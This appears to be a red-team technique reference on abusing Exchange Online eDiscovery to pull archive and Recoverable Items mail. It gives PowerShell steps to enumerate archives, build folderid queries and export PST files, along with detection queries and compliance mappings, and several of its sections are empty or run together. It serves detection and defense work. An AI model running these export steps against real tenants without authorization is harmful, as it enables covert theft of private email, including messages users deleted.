| Attribute | Details | |—|—| | Technique ID | COLLECT-ARCHIVE-001 | | MITRE ATT&CK v18.1 | Email Collection (T1114) – Remote Email Collection (T1114.002) applied to In-Place Archive / Recoverable Items | | Tactic | Collection | | Platforms | M365 (Exchange Online), Exchange 2013–2019 with In-Place Archive | | Severity | High | | Technique Status | ACTIVE (archive mailboxes and Recoverable Items can be exported via content search and specialized scripts) | | Last Verified | 2024-09-30 | | Affected Versions | Exchange Online; Exchange 2013–2019 with In-Place Archive enabled | | Patched In | N/A – feature; risk controlled by RBAC, eDiscovery governance and retention policies | | Environment | M365 | | Author | SERVTEP – Artur Pchelnikau |
folderid: queries for use in New-ComplianceSearch. Attackers can abuse the same patterns to silently drain archive content.| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | M365 / Exchange Online – mailbox retention and eDiscovery governance | Failure to govern archive access and export capabilities. | | DISA STIG | O365 STIG – role-based access; legal hold | Over‑permissive archive/eDiscovery access violates separation of duties. | | CISA SCuBA | Data retention and exfiltration protections | Inadequate monitoring of archive and inactive mailbox access. | | NIST 800-53 | AU-9, MP-5, AC-6 | Weak protection of archived audit/record data and excessive privileges. | | GDPR | Art. 5, Art. 32 | Archive mailboxes often contain personal data beyond stated retention; uncontrolled export breaks principles of storage limitation and security. | | DORA | Art. 9 | Archive of regulated communications must be controlled and monitored; mass export without governance is non‑compliant. | | NIS2 | Art. 21 | Poor safeguards for long‑term records and incident evidence in critical sectors. | | ISO 27001 | A.5, A.8.12, A.8.10 | Controls for retention, media protection, and logging of access to archived information. | | ISO 27005 | Misuse of archive/eDiscovery capabilities | High‑impact risk scenario for long‑term data stores.
Supported Versions:
On‑prem Exchange 2013–2019 with archive mailboxes (similar concepts, but this module focuses on M365).
folderid: KQL queries.Connect-ExchangeOnline
# List mailboxes with archive enabled
Get-Mailbox -ResultSize Unlimited | Where-Object { $_.ArchiveStatus -eq 'Active' } |
Select-Object DisplayName,PrimarySmtpAddress,ArchiveName,ArchiveQuota
# Optional: get archive sizes (can be expensive)
Get-MailboxStatistics -Archive -Identity user@tenant.onmicrosoft.com |
Select-Object DisplayName, TotalItemSize, ItemCount
What to Look For:
Supported Versions: Exchange Online.
Objective: Build a KQL query that restricts search to archive mailbox folders.
Concept: Community scripts use Get-MailboxFolderStatistics -Archive to enumerate folders, then transform the folder IDs into KQL folderid: tokens consumable by Content Search.
**Example (high‑level PowerShell pattern):
Connect-ExchangeOnline
$emailAddress = 'user@tenant.onmicrosoft.com'
$folderStats = Get-MailboxFolderStatistics -Identity $emailAddress -Archive
# Filter to Recoverable Items or specific archive folders
$targetFolders = $folderStats | Where-Object { $_.FolderPath -like '*Recoverable Items*' }
# For each folder, build folderid: query terms from the FolderId/FolderType
# (actual scripts convert the HexEntryId to the base64 ID expected by KQL)
Attacker uses published scripts that output a full folderid:("id1" OR "id2" ...) expression.
Objective: Use folderid‑based KQL to search only archive content.
Command (pattern):
Connect-IPPSSession
$kql = 'folderid:("<ArchiveFolderId1>" OR "<ArchiveFolderId2>")'
New-ComplianceSearch -Name 'User-Archive-Only' `
-ExchangeLocation 'user@tenant.onmicrosoft.com' `
-ContentMatchQuery $kql
Start-ComplianceSearch -Identity 'User-Archive-Only'
Expected Output:
Objective: Stage archive‑only data for download.
Command:
New-ComplianceSearchAction -SearchName 'User-Archive-Only' -Export -ExchangeArchiveFormat PerUserPST
Get-ComplianceSearchAction -SearchName 'User-Archive-Only' -Action Export
Expected Output:
OpSec & Evasion:
References & Proofs:
Supported Versions: Exchange Online with archive/Recoverable Items.
Objective: Abuse the fact that Recoverable Items may contain deleted messages not visible in the normal mailbox view, but still discoverable by eDiscovery.
High‑Level Pattern:
Recoverable Items, Purges, Versions.folderid: KQL query for these IDs.New-ComplianceSearch constrained to those folder IDs.This allows an adversary to recover messages that users attempted to delete permanently.
Concept: Detect Purview content searches whose KQL includes folderid: or that explicitly reference archive/inactive mailboxes.
SPL Pattern (pseudo):
index=o365 Workload="SecurityComplianceCenter" Operation="New-ComplianceSearch"
| eval query=coalesce(ContentMatchQuery, Query)
| where like(query, "%folderid:%") OR like(query, "%Recoverable Items%")
| stats count BY UserId, Name, query
OfficeActivity table where Operation == "New-ComplianceSearch" and AuditData contains folderid: or well‑known archive folder names.Search-UnifiedAuditLog with Operations including New-ComplianceSearch, New-ComplianceSearchAction, and inspect AuditData for ExchangeLocation entries pointing to archive/inactive mailboxes and for KQL containing folderid:.| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | Compromised admin/compliance account | Attacker gains required roles. |
| 2 | Collection | COLLECT-EMAIL-001 / COLLECT-EMAIL-003 | Primary mailbox or search‑based collection. |
| 3 | Collection (Archive) | COLLECT-ARCHIVE-001 – Archive Mailbox Data Extraction | Targeted archive/Recoverable Items export. |
| 4 | Exfiltration | PST download + transfer | Archive data leaves tenant. |